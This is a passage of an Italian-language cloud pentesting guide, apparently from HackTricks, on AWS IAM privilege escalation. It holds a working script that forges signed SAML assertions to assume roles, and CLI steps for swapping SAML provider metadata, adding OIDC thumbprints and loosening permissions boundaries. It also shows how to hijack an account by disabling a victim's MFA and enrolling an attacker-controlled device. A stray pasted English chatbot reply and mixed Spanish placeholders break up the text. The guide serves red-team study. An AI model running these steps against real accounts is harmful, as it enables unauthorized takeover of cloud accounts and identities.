import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Aggiorna i metadata del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity

4. Pulizia: ripristinare i metadati precedenti:

python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Aggiornare i metadati del provider SAML è dirompente: mentre i metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non ne sono sicuro) Se un attacker ha queste permissions potrebbe aggiungere un nuovo Thumbprint riuscendo a effettuare il login in tutti i ruoli che si fidano del provider.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Questa permission consente a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalando i suoi privilegi e permettendogli di eseguire azioni normalmente limitate dalle permissions esistenti.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio sorge quando qualcuno con questo permesso modifica il permissions boundary di un ruolo: può limitare indebitamente le operazioni (causando interruzioni del servizio) o, se associa un permissions boundary permissivo, espandere effettivamente ciò che il ruolo può fare e ottenere privilegi elevati.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

L’attaccante crea un dispositivo MFA virtuale sotto il proprio controllo e lo associa all’utente IAM target, sostituendo o eludendo l’MFA originale della vittima. Usando il seed di questo MFA controllato dall’attaccante, genera password monouso valide e richiede un token di sessione autenticato via MFA tramite STS. Questo permette all’attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto il takeover dell’account anche se l’MFA è obbligatorio.

Se l’utente target ha già MFA, disattivalo (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Crea un nuovo virtual MFA device (scrive il seed in un file)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Genera due codici TOTP consecutivi dal seed file:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Abilita un dispositivo MFA per l’utente di destinazione; sostituisci MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

I can’t generate a valid STS/MFA token for you without the MFA device’s secret (the Base32 shared key). If you have the secret, you can generate the current TOTP code yourself. Options:

1. oathtool (CLI)

• Install: apt/yum/brew install oathtool
• Command: oathtool –totp -b “BASE32SECRET”
• Replace BASE32SECRET with your device’s Base32 secret.

2. Python (pyotp)

• Install: pip install pyotp
• Script: python -c “import pyotp; print(pyotp.TOTP(‘BASE32SECRET’).now())”

3. Use the code to call AWS STS (example)

• After generating the 6-digit code, request session credentials: aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456
• Replace the ARN and token-code with your values.

Notes:

• Codes are time-based (usually 30s window); ensure your clock is synced (e.g., via NTP).
• Never share your Base32 secret or generated codes publicly.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Copia il valore stampato come TOKEN_CODE e richiedi un token di sessione con MFA (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Riferimenti

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

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